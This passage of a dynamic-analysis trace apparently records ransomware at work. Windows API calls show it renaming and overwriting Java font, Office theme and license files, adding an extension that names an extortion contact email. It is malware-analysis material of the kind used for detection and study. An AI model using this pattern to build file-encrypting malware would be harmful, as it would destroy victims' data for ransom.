(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0128.773] GetProcessHeap () returned 0x630000 [0128.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b9d8 [0128.773] GetProcessHeap () returned 0x630000 [0128.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7040590 [0128.774] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.774] ReadFile (in: hFile=0x6cc, lpBuffer=0x718b9d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b9d8*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0135.061] GetProcessHeap () returned 0x630000 [0135.061] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0135.062] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.062] WriteFile (in: hFile=0x6cc, lpBuffer=0x7040590*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7040590*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0135.062] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.062] WriteFile (in: hFile=0x6cc, lpBuffer=0x704b98f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x704b98f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.062] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.063] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.063] CloseHandle (hObject=0x6cc) returned 1 [0136.906] GetProcessHeap () returned 0x630000 [0136.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7040590 | out: hHeap=0x630000) returned 1 [0136.907] GetProcessHeap () returned 0x630000 [0136.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b9d8 | out: hHeap=0x630000) returned 1 [0136.907] GetProcessHeap () returned 0x630000 [0136.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0136.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x178d1648, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12598, dwReserved0=0x9b47496, dwReserved1=0x718b9d0, cFileName="LucidaBrightDemiItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LU28E3~1.FIR")) returned 0x6d53c0 [0136.907] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0136.907] Sleep (dwMilliseconds=0x1) [0138.603] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", len=0x58 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml") returned 1 [0138.603] GetProcessHeap () returned 0x630000 [0138.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a44) returned 0x72b0508 [0138.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.603] CloseHandle (hObject=0x5e4) returned 1 [0138.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7, dwReserved0=0xf008da22, dwReserved1=0x6e0069, cFileName="Century Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTUR~2.FIR")) returned 0x6d5000 [0138.604] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0138.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.605] GetProcessHeap () returned 0x630000 [0138.605] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x72443f8 [0138.605] GetProcessHeap () returned 0x630000 [0138.605] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7246e10 [0138.605] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.605] ReadFile (in: hFile=0x5e4, lpBuffer=0x72443f8, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72443f8*, lpNumberOfBytesRead=0x69bff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.619] GetProcessHeap () returned 0x630000 [0138.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0138.619] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.619] WriteFile (in: hFile=0x5e4, lpBuffer=0x7246e10*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7246e10*, lpNumberOfBytesWritten=0x69bff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.619] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.619] WriteFile (in: hFile=0x5e4, lpBuffer=0x7247bcf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247bcf*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.620] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.620] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.620] CloseHandle (hObject=0x5e4) returned 1 [0138.620] GetProcessHeap () returned 0x630000 [0138.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7246e10 | out: hHeap=0x630000) returned 1 [0138.620] GetProcessHeap () returned 0x630000 [0138.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72443f8 | out: hHeap=0x630000) returned 1 [0138.620] GetProcessHeap () returned 0x630000 [0138.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0138.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18926b2a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdfb, dwReserved0=0x69bfd20, dwReserved1=0x72443f8, cFileName="Century Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTUR~2.FIR")) returned 0x6d5000 [0138.620] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0138.620] Sleep (dwMilliseconds=0x1) [0138.628] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", len=0x51 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml") returned 1 [0138.628] GetProcessHeap () returned 0x630000 [0138.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a38) returned 0x72b0508 [0138.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0138.628] CloseHandle (hObject=0x688) returned 1 [0138.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAMBRI~1.FIR")) returned 0x6d5540 [0138.629] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0138.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0138.630] GetProcessHeap () returned 0x630000 [0138.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727e410 [0138.630] GetProcessHeap () returned 0x630000 [0138.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x7282cb8 [0138.630] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.630] ReadFile (in: hFile=0x688, lpBuffer=0x727e410, nNumberOfBytesToRead=0xde0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x727e410*, lpNumberOfBytesRead=0x69bff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.734] GetProcessHeap () returned 0x630000 [0138.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0138.734] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.735] WriteFile (in: hFile=0x688, lpBuffer=0x7282cb8*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7282cb8*, lpNumberOfBytesWritten=0x69bff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.735] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.735] WriteFile (in: hFile=0x688, lpBuffer=0x7283a97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7283a97*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.735] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.735] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.735] CloseHandle (hObject=0x688) returned 1 [0138.735] GetProcessHeap () returned 0x630000 [0138.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7282cb8 | out: hHeap=0x630000) returned 1 [0138.735] GetProcessHeap () returned 0x630000 [0138.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727e410 | out: hHeap=0x630000) returned 1 [0138.735] GetProcessHeap () returned 0x630000 [0138.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0138.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18a31bb4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe08, dwReserved0=0x69bfd20, dwReserved1=0x727e410, cFileName="Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAMBRI~1.FIR")) returned 0x6d5280 [0138.735] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0138.736] Sleep (dwMilliseconds=0x1) [0138.771] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", len=0x5f | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml") returned 1 [0138.771] GetProcessHeap () returned 0x630000 [0138.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a24) returned 0x72b0508 [0138.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.847] CloseHandle (hObject=0x4e8) returned 1 [0138.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0x740072, dwReserved1=0x650040, cFileName="Arial-Times New Roman.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARIAL-~1.FIR")) returned 0x6d5340 [0138.850] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0138.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.851] GetProcessHeap () returned 0x630000 [0138.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727e410 [0138.851] GetProcessHeap () returned 0x630000 [0138.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727f298 [0138.851] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.852] ReadFile (in: hFile=0x4e8, lpBuffer=0x727e410, nNumberOfBytesToRead=0xde0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x727e410*, lpNumberOfBytesRead=0x69bff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.879] GetProcessHeap () returned 0x630000 [0138.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0138.879] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.879] WriteFile (in: hFile=0x4e8, lpBuffer=0x727f298*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x727f298*, lpNumberOfBytesWritten=0x69bff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.879] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.879] WriteFile (in: hFile=0x4e8, lpBuffer=0x7280077*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7280077*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.880] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.880] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.880] CloseHandle (hObject=0x4e8) returned 1 [0138.880] GetProcessHeap () returned 0x630000 [0138.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727f298 | out: hHeap=0x630000) returned 1 [0138.880] GetProcessHeap () returned 0x630000 [0138.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727e410 | out: hHeap=0x630000) returned 1 [0138.880] GetProcessHeap () returned 0x630000 [0138.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0140.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0140.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18baf16c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x69bfd20, dwReserved1=0x727e410, cFileName="Arial-Times New Roman.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARIAL-~1.FIR")) returned 0x6d5000 [0140.151] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0140.152] Sleep (dwMilliseconds=0x1) [0140.971] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms", len=0x4c | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 1 [0140.972] GetProcessHeap () returned 0x630000 [0140.972] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c6c) returned 0x7203db8 [0140.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0143.338] CloseHandle (hObject=0x4b8) returned 1 [0143.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft 